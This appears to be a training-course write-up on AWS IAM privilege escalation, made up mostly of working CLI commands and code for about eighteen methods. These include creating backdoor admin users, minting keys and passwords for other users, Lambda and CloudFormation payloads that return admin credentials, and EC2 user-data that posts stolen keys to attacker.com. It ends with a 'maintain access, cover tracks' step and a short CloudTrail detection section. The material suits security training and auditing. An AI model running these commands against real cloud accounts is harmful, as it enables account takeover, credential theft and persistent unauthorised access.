AWS IAM Attacks

advanced45 minWriteup

Exploiting IAM misconfigurations and privilege escalation

Learning Objectives

  • Find IAM misconfigurations
  • Escalate privileges via IAM
  • Exploit assume role
  • Chain IAM attacks

AWS IAM privilege escalation exploits misconfigured permissions to gain higher access than originally granted. Think of it like finding a master key while only being given access to one room - the organization trusted you with something that lets you unlock everything else.

IAM privilege escalation is particularly dangerous because it's often subtle. An administrator might grant a developer permission to "manage Lambda functions" without realizing this includes the ability to assume any role in the account. There are over 20 documented IAM privesc paths in AWS.

Privilege Escalation Vectors

Rhino Security Labs documented 21+ IAM privilege escalation methods. Many involve combinations of seemingly innocuous permissions. Always audit IAM carefully - the path to admin is often just a few API calls.

IAM Privilege Enumeration

bash
1606070;"># Understanding Your Current Permissions
2 
3606070;"># Who am I?
4aws sts get-caller-identity
5{
6 606070;">#a5d6ff;">"UserId": "AIDAXXXXXXXXX",
7 606070;">#a5d6ff;">"Account": "123456789012",
8 606070;">#a5d6ff;">"Arn": "arn:aws:iam::123456789012:user/developer"
9}
10 
11606070;"># List attached policies
12aws iam list-attached-user-policies --user-name developer
13aws iam list-user-policies --user-name developer 606070;"># Inline policies
14 
15606070;"># Get policy details
16aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/DevPolicy
17aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/DevPolicy --version-id v1
18 
19606070;"># List group memberships
20aws iam list-groups-for-user --user-name developer
21 
22606070;"># For each group
23aws iam list-attached-group-policies --group-name Developers
24aws iam list-group-policies --group-name Developers
25 
26606070;"># Simulate permissions (if you have iam:SimulatePrincipalPolicy)
27aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::123456789012:user/developer --action-names iam:CreateUser iam:AttachUserPolicy
28 
29 
30606070;"># Automated Enumeration with Pacu
31─────────────────────────────────────────────────────────────────────
32pacu
33> import_keys victim
34> run iam__enum_permissions
35> run iam__privesc_scan 606070;"># Check for privesc paths

Policy Manipulation Attacks

bash
1606070;"># Method 1: CreatePolicyVersion
2─────────────────────────────────────────────────────────────────────
3606070;"># Required: iam:CreatePolicyVersion
4606070;"># If you can create a new version of a policy attached to you...
5 
6606070;"># Create admin policy version
7aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --policy-document '{
8 606070;">#a5d6ff;">"Version": "2012-10-17",
9 606070;">#a5d6ff;">"Statement": [{
10 606070;">#a5d6ff;">"Effect": "Allow",
11 606070;">#a5d6ff;">"Action": "*",
12 606070;">#a5d6ff;">"Resource": "*"
13 }]
14 }' --set-as-default
15 
16606070;"># Now you have admin!
17 
18 
19606070;"># Method 2: SetDefaultPolicyVersion
20─────────────────────────────────────────────────────────────────────
21606070;"># Required: iam:SetDefaultPolicyVersion
22606070;"># If an older policy version has more permissions...
23 
24606070;"># List policy versions
25aws iam list-policy-versions --policy-arn arn:aws:iam::123456789012:policy/MyPolicy
26 
27606070;"># Set a more permissive version as default
28aws iam set-default-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --version-id v1
29 
30 
31606070;"># Method 3: AttachUserPolicy
32─────────────────────────────────────────────────────────────────────
33606070;"># Required: iam:AttachUserPolicy
34606070;"># Attach admin policy to yourself
35 
36aws iam attach-user-policy --user-name developer --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
37 
38 
39606070;"># Method 4: AttachGroupPolicy
40─────────────────────────────────────────────────────────────────────
41606070;"># Required: iam:AttachGroupPolicy
42606070;"># Attach admin policy to your group
43 
44aws iam attach-group-policy --group-name Developers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
45 
46 
47606070;"># Method 5: PutUserPolicy
48─────────────────────────────────────────────────────────────────────
49606070;"># Required: iam:PutUserPolicy
50606070;"># Add inline admin policy to yourself
51 
52aws iam put-user-policy --user-name developer --policy-name AdminAccess --policy-document '{
53 606070;">#a5d6ff;">"Version": "2012-10-17",
54 606070;">#a5d6ff;">"Statement": [{
55 606070;">#a5d6ff;">"Effect": "Allow",
56 606070;">#a5d6ff;">"Action": "*",
57 606070;">#a5d6ff;">"Resource": "*"
58 }]
59 }'

Check for Wildcards

Look for permissions like iam:Attach*Policy, iam:Put*Policy, or iam:Create*. Wildcards often grant more than intended and enable privilege escalation.

User & Access Key Attacks

bash
1606070;"># Method 6: CreateUser + AttachUserPolicy
2─────────────────────────────────────────────────────────────────────
3606070;"># Required: iam:CreateUser + iam:AttachUserPolicy
4606070;"># Create new admin user
5 
6aws iam create-user --user-name backdoor
7 
8aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
9 
10aws iam create-access-key --user-name backdoor
11606070;"># Now you have admin credentials!
12 
13 
14606070;"># Method 7: CreateAccessKey
15─────────────────────────────────────────────────────────────────────
16606070;"># Required: iam:CreateAccessKey
17606070;"># Create access key for another (more privileged) user
18 
19aws iam create-access-key --user-name admin
20{
21 606070;">#a5d6ff;">"AccessKey": {
22 606070;">#a5d6ff;">"UserName": "admin",
23 606070;">#a5d6ff;">"AccessKeyId": "AKIAXXXXXXXX",
24 606070;">#a5d6ff;">"SecretAccessKey": "xxxxxxxx"
25 }
26}
27 
28 
29606070;"># Method 8: CreateLoginProfile
30─────────────────────────────────────────────────────────────────────
31606070;"># Required: iam:CreateLoginProfile
32606070;"># Create console password for another user
33 
34aws iam create-login-profile --user-name admin --password 606070;">#a5d6ff;">'P@ssw0rd123!' --no-password-reset-required
35 
36606070;"># Now login to console as admin!
37 
38 
39606070;"># Method 9: UpdateLoginProfile
40─────────────────────────────────────────────────────────────────────
41606070;"># Required: iam:UpdateLoginProfile
42606070;"># Reset password for another user
43 
44aws iam update-login-profile --user-name admin --password 606070;">#a5d6ff;">'NewP@ss123!'
45 
46 
47606070;"># Method 10: AddUserToGroup
48─────────────────────────────────────────────────────────────────────
49606070;"># Required: iam:AddUserToGroup
50606070;"># Add yourself to admin group
51 
52aws iam add-user-to-group --user-name developer --group-name Admins

Role Assumption Attacks

bash
1606070;"># Method 11: PassRole + CreateFunction (Lambda)
2─────────────────────────────────────────────────────────────────────
3606070;"># Required: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
4606070;"># This is a VERY common privesc path!
5 
6606070;"># 1. Find a role with more permissions
7aws iam list-roles
8606070;"># Look for roles with admin policies or high privileges
9 
10606070;"># 2. Create Lambda function with that role
11cat > /tmp/lambda.py << 606070;">#a5d6ff;">'EOF'
12import boto3
13import json
14 
15def handler(event, context):
16 606070;"># Run with the Lambda role's permissions
17 iam = boto3.client(606070;">#a5d6ff;">'iam')
18 
19 606070;"># Example: Create admin user
20 iam.create_user(UserName=606070;">#a5d6ff;">'backdoor')
21 iam.attach_user_policy(
22 UserName=606070;">#a5d6ff;">'backdoor',
23 PolicyArn=606070;">#a5d6ff;">'arn:aws:iam::aws:policy/AdministratorAccess'
24 )
25 keys = iam.create_access_key(UserName=606070;">#a5d6ff;">'backdoor')
26 
27 return {
28 606070;">#a5d6ff;">'accessKeyId': keys['AccessKey']['AccessKeyId'],
29 606070;">#a5d6ff;">'secretAccessKey': keys['AccessKey']['SecretAccessKey']
30 }
31EOF
32 
33zip /tmp/lambda.zip /tmp/lambda.py
34 
35aws lambda create-function --function-name privesc --runtime python3.9 --role arn:aws:iam::123456789012:role/AdminRole --handler lambda.handler --zip-file fileb:606070;">///tmp/lambda.zip
36 
37606070;"># 3. Invoke the function
38aws lambda invoke --function-name privesc output.json
39cat output.json
40606070;"># Contains admin credentials!
41 
42 
43606070;"># Method 12: PassRole + EC2
44─────────────────────────────────────────────────────────────────────
45606070;"># Required: iam:PassRole + ec2:RunInstances
46606070;"># Launch EC2 with privileged instance profile
47 
48aws ec2 run-instances --image-id ami-12345678 --instance-type t2.micro --iam-instance-profile Name=AdminProfile --user-data '606070;">#!/bin/bash
49 606070;"># Runs with instance profile permissions
50 aws iam create-user --user-name backdoor
51 aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
52 aws iam create-access-key --user-name backdoor > /tmp/keys.json
53 curl -X POST https:606070;">//attacker.com/exfil -d @/tmp/keys.json
54 '
bash
1606070;"># Method 13: AssumeRole
2─────────────────────────────────────────────────────────────────────
3606070;"># Required: sts:AssumeRole + Role trust allows your identity
4 
5606070;"># Check which roles you can assume
6for role in $(aws iam list-roles --query 606070;">#a5d6ff;">'Roles[*].RoleName' --output text); do
7 aws sts assume-role --role-arn arn:aws:iam::123456789012:role/$role --role-session-name test 2>/dev/null && echo 606070;">#a5d6ff;">"Can assume: $role"
8done
9 
10606070;"># Assume a role
11aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name privesc
12 
13606070;"># Use returned credentials
14export AWS_ACCESS_KEY_ID=ASIAXXXXXXXX
15export AWS_SECRET_ACCESS_KEY=xxxxxxxx
16export AWS_SESSION_TOKEN=xxxxxxxx
17 
18606070;"># Verify
19aws sts get-caller-identity
20 
21 
22606070;"># Method 14: UpdateAssumeRolePolicy
23─────────────────────────────────────────────────────────────────────
24606070;"># Required: iam:UpdateAssumeRolePolicy
25606070;"># Modify role trust policy to allow yourself
26 
27aws iam update-assume-role-policy --role-name AdminRole --policy-document '{
28 606070;">#a5d6ff;">"Version": "2012-10-17",
29 606070;">#a5d6ff;">"Statement": [{
30 606070;">#a5d6ff;">"Effect": "Allow",
31 606070;">#a5d6ff;">"Principal": {"AWS": "arn:aws:iam::123456789012:user/developer"},
32 606070;">#a5d6ff;">"Action": "sts:AssumeRole"
33 }]
34 }'
35 
36606070;"># Now assume the role
37aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name hack

PassRole is Dangerous

The iam:PassRole permission allows passing any role to services like Lambda, EC2, ECS, etc. Combined with service creation permissions, this enables privilege escalation to any role you can pass.

Service-Specific Attacks

bash
1606070;"># Method 15: Lambda Environment Variables
2─────────────────────────────────────────────────────────────────────
3606070;"># Required: lambda:UpdateFunctionConfiguration or lambda:GetFunction
4606070;"># Lambda env vars often contain secrets
5 
6aws lambda get-function --function-name production-app
7606070;"># Check for AWS_ACCESS_KEY_ID, API keys, database passwords in env
8 
9606070;"># Update env vars to exfiltrate
10aws lambda update-function-configuration --function-name production-app --environment 606070;">#a5d6ff;">"Variables={EXFIL_URL=https://attacker.com}"
11 
12 
13606070;"># Method 16: CloudFormation
14─────────────────────────────────────────────────────────────────────
15606070;"># Required: cloudformation:CreateStack + iam:PassRole
16 
17cat > template.yaml << 606070;">#a5d6ff;">'EOF'
18AWSTemplateFormatVersion: 606070;">#a5d6ff;">'2010-09-09'
19Resources:
20 BackdoorUser:
21 Type: AWS::IAM::User
22 Properties:
23 UserName: cfn-backdoor
24 ManagedPolicyArns:
25 - arn:aws:iam::aws:policy/AdministratorAccess
26 BackdoorKey:
27 Type: AWS::IAM::AccessKey
28 Properties:
29 UserName: !Ref BackdoorUser
30Outputs:
31 AccessKeyId:
32 Value: !Ref BackdoorKey
33 SecretAccessKey:
34 Value: !GetAtt BackdoorKey.SecretAccessKey
35EOF
36 
37aws cloudformation create-stack --stack-name privesc --template-body file:606070;">//template.yaml --capabilities CAPABILITY_NAMED_IAM
38 
39606070;"># Get credentials from outputs
40aws cloudformation describe-stacks --stack-name privesc
41 
42 
43606070;"># Method 17: Glue Dev Endpoint
44─────────────────────────────────────────────────────────────────────
45606070;"># Required: glue:CreateDevEndpoint + iam:PassRole
46606070;"># Glue endpoints get role credentials
47 
48aws glue create-dev-endpoint --endpoint-name privesc --role-arn arn:aws:iam::123456789012:role/AdminRole --public-key 606070;">#a5d6ff;">"ssh-rsa AAAA..."
49 
50606070;"># SSH to endpoint and access role credentials
51 
52 
53606070;"># Method 18: SageMaker Notebook
54─────────────────────────────────────────────────────────────────────
55606070;"># Required: sagemaker:CreateNotebookInstance + iam:PassRole
56 
57aws sagemaker create-notebook-instance --notebook-instance-name privesc --instance-type ml.t2.medium --role-arn arn:aws:iam::123456789012:role/AdminRole
58 
59606070;"># Access notebook, credentials available via metadata

Cross-Account Attacks

bash
1606070;"># Cross-Account Role Assumption
2 
3606070;"># Misconfigured Trust Policy (Too Broad)
4─────────────────────────────────────────────────────────────────────
5{
6 606070;">#a5d6ff;">"Version": "2012-10-17",
7 606070;">#a5d6ff;">"Statement": [{
8 606070;">#a5d6ff;">"Effect": "Allow",
9 606070;">#a5d6ff;">"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
10 606070;">#a5d6ff;">"Action": "sts:AssumeRole"
11 }]
12}
13606070;"># Any user in ATTACKER_ACCOUNT can assume this role!
14 
15606070;"># Even Worse - Any AWS Account
16{
17 606070;">#a5d6ff;">"Principal": {"AWS": "*"}
18 606070;">// or
19 606070;">#a5d6ff;">"Principal": "*"
20}
21 
22 
23606070;"># Finding Cross-Account Trust
24─────────────────────────────────────────────────────────────────────
25606070;"># List all roles and check trust policies
26for role in $(aws iam list-roles --query 606070;">#a5d6ff;">'Roles[*].RoleName' --output text); do
27 trust=$(aws iam get-role --role-name $role --query 606070;">#a5d6ff;">'Role.AssumeRolePolicyDocument' --output text)
28 if echo $trust | grep -q 606070;">#a5d6ff;">"AWS"; then
29 echo 606070;">#a5d6ff;">"=== $role ==="
30 aws iam get-role --role-name $role --query 606070;">#a5d6ff;">'Role.AssumeRolePolicyDocument'
31 fi
32done
33 
34 
35606070;"># Confused Deputy Attack
36─────────────────────────────────────────────────────────────────────
37606070;"># If trust policy doesn't require external ID:
38{
39 606070;">#a5d6ff;">"Principal": {"AWS": "arn:aws:iam::SERVICE_PROVIDER:root"},
40 606070;">#a5d6ff;">"Action": "sts:AssumeRole"
41}
42 
43606070;"># Attacker who also uses SERVICE_PROVIDER can:
44606070;"># 1. Make SERVICE_PROVIDER assume the role on their behalf
45606070;"># 2. Access victim's resources through the provider
46 
47606070;"># Fix: Require ExternalId
48{
49 606070;">#a5d6ff;">"Condition": {
50 606070;">#a5d6ff;">"StringEquals": {"sts:ExternalId": "unique-secret-id"}
51 }
52}

Detecting IAM Attacks

1CloudTrail Events to Monitor:
2 
3HIGH SEVERITY - Immediate Alert
4─────────────────────────────────────────────────────────────────────
5CreatePolicyVersion 606070;"># Policy modification
6SetDefaultPolicyVersion 606070;"># Policy version change
7AttachUserPolicy 606070;"># Policy attachment
8AttachRolePolicy
9AttachGroupPolicy
10PutUserPolicy 606070;"># Inline policy addition
11PutRolePolicy
12PutGroupPolicy
13CreateUser 606070;"># User creation
14CreateAccessKey 606070;"># Key creation (especially for others)
15CreateLoginProfile 606070;"># Console access creation
16UpdateLoginProfile 606070;"># Password reset
17AddUserToGroup 606070;"># Group membership change
18UpdateAssumeRolePolicy 606070;"># Role trust modification
19 
20MEDIUM SEVERITY - Investigate
21─────────────────────────────────────────────────────────────────────
22AssumeRole 606070;"># Unusual role assumptions
23GetRole 606070;"># Role enumeration
24ListRoles
25ListPolicies
26GetPolicy
27SimulatePrincipalPolicy 606070;"># Permission testing
28 
29CloudWatch Alarm Example:
30{
31 606070;">#a5d6ff;">"source": ["aws.iam"],
32 606070;">#a5d6ff;">"detail-type": ["AWS API Call via CloudTrail"],
33 606070;">#a5d6ff;">"detail": {
34 606070;">#a5d6ff;">"eventName": [
35 606070;">#a5d6ff;">"CreatePolicyVersion",
36 606070;">#a5d6ff;">"AttachUserPolicy",
37 606070;">#a5d6ff;">"AttachRolePolicy",
38 606070;">#a5d6ff;">"CreateUser",
39 606070;">#a5d6ff;">"CreateAccessKey"
40 ]
41 }
42}

IAM Attack Methodology

IAM Privilege Escalation Flow

1
Identify Current PermissionsUse get-caller-identity, list policies, enumerate permissions with Pacu or enumerate-iam.
2
Find Escalation PathsCheck for dangerous permissions: PassRole, Create*Policy, Attach*Policy, CreateUser, CreateAccessKey.
3
Enumerate RolesList all roles, check trust policies. Look for roles you can assume or pass to services.
4
Execute EscalationUse the appropriate method: policy modification, user manipulation, role assumption, or service exploitation.
5
Verify EscalationRun get-caller-identity with new credentials. Test admin actions to confirm elevated access.
6
Maintain AccessCreate backup access: new user, access keys, or additional role trust. Cover tracks if needed.

Knowledge Check

Quick Quiz
Question 1 of 3

What permission combination enables privilege escalation via Lambda?

Challenges

Identify Privesc Paths

Challenge
💀 advanced

Given this IAM policy, identify all privilege escalation paths: {"Effect":"Allow","Action":["iam:PassRole","lambda:*","iam:CreatePolicyVersion"],"Resource":"*"}

Need a hint? (3 available)

Key Takeaways

  • Over 20 IAM permissions can lead to privilege escalation
  • iam:PassRole is extremely dangerous combined with service creation
  • Policy modification permissions enable direct admin access
  • Always check what roles you can assume or pass
  • Cross-account trust without ExternalId is vulnerable to confused deputy
  • Monitor CloudTrail for IAM modification events